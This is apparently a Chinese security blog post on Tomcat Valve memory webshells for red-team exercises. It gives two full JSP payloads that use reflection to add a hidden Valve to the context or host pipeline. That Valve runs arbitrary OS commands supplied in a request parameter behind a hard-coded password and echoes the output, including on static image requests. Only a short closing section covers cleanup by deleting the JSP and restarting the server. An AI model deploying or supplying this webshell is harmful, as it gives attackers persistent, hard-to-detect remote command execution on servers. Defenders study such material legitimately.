隨着hw演習,紅藍對抗越來越激烈,攻防對抗研究無止盡,以前hw,黑客上傳個jsp文件,直接kill掉就可以了,現在kill掉還得重啟服務才可以,現在的木馬是直接注入內存.
應用場景:文件上傳漏洞等
反序列化漏洞,是直接注入生效,無需文件落地訪問落地生效,今天圍繞着文件訪問落地注入內存馬:
我博客寫了四篇tomcat文章,就是為tomcat內存馬做鋪墊:
直接上demo:
<%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.mapper.MappingData" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class myValue extends ValveBase { public void invoke(Request req, Response resp) throws IOException, ServletException { if ("023".equals(req.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; resp.getWriter().write("<pre>"); while ((a = in.read(b)) != -1) { resp.getWriter().write(new String(b)); } resp.getWriter().write("</pre>"); } //注入調用invoke this.getNext().invoke(req, resp); } } %> <% myValue myValve = new myValue(); //獲取request屬性 Field request1 = request.getClass().getDeclaredField("request"); request1.setAccessible(true); Request req = (Request) request1.get(request); System.out.println(req); //獲取請求上下文地址,並轉換成StandardContext StandardContext context = (StandardContext) req.getContext(); Pipeline pipeline = context.getPipeline(); pipeline.addValve(myValve); %> <html> <head> <title>$Title$</title> </head> <body> <h1>hello JavaWeb</h1> </body> </html>
啟動tomcat運行:
這里可以設置響應404,更隱匿,這時候內存馬已經被注入成功.
訪問一個不存在的頁面:
如果做了報錯統一處理,是可以在不存在的一個頁面上rce的,為什么這里可以執行命令,因為我做了缺省servlet:
這段代碼的缺陷是必須是可訪問的界面,不能在jpg/ico/png靜態資源上執行命令回顯,我測試是不能在圖片上回顯....
如果我是一張靜態資源圖片,是無法執行命令的,只會顯示jpg,執行任何命令都沒反應:
對前面的代碼做改造,因為有了一些tomcat架構設計基礎,簡單的改造下:
首先訪問test.jsp,讓內存馬注入生效
再次訪問jpg圖片:
訪問favicon.ico:
代碼如下:
<%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.mapper.MappingData" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class myValue extends ValveBase { public void invoke(Request req, Response resp) throws IOException, ServletException { if ("023".equals(req.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; resp.getWriter().write("<pre>"); while ((a = in.read(b)) != -1) { resp.getWriter().write(new String(b)); } resp.getWriter().write("</pre>"); } //注入調用invoke this.getNext().invoke(req, resp); } } %> <% myValue myValve = new myValue(); //獲取request屬性 Field request1 = request.getClass().getDeclaredField("request"); request1.setAccessible(true); Request req = (Request) request1.get(request); System.out.println(req); StandardHost host = (StandardHost) req.getHost(); Pipeline pipeline = host.getPipeline(); pipeline.addValve(myValve); %> <html> <head> <title>$Title$</title> </head> <body> <h1>hello JavaWeb</h1> </body> </html>
漏洞修復:
(1)先刪除jsp
被中內存馬后,刪除jsp后一定要重啟,這里我刪除test.jsp,但是我沒重啟,仍然可以執行命令操作:
刪除jsp木馬后,下一步就是重啟tomcat服務:
重啟后,一切恢復正常,內存馬清理成功.
注意:如果沒發現jsp shell,那么大概率是直接注入/攻擊者刪除了jsp,這時候直接重啟tomcat服務即可解決問題
Valve內存馬學習參考鏈接:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw
內存馬現在花樣套路層出不窮,花樣百出,這里筆者只是拋磚引玉,安全之路任道眾遠!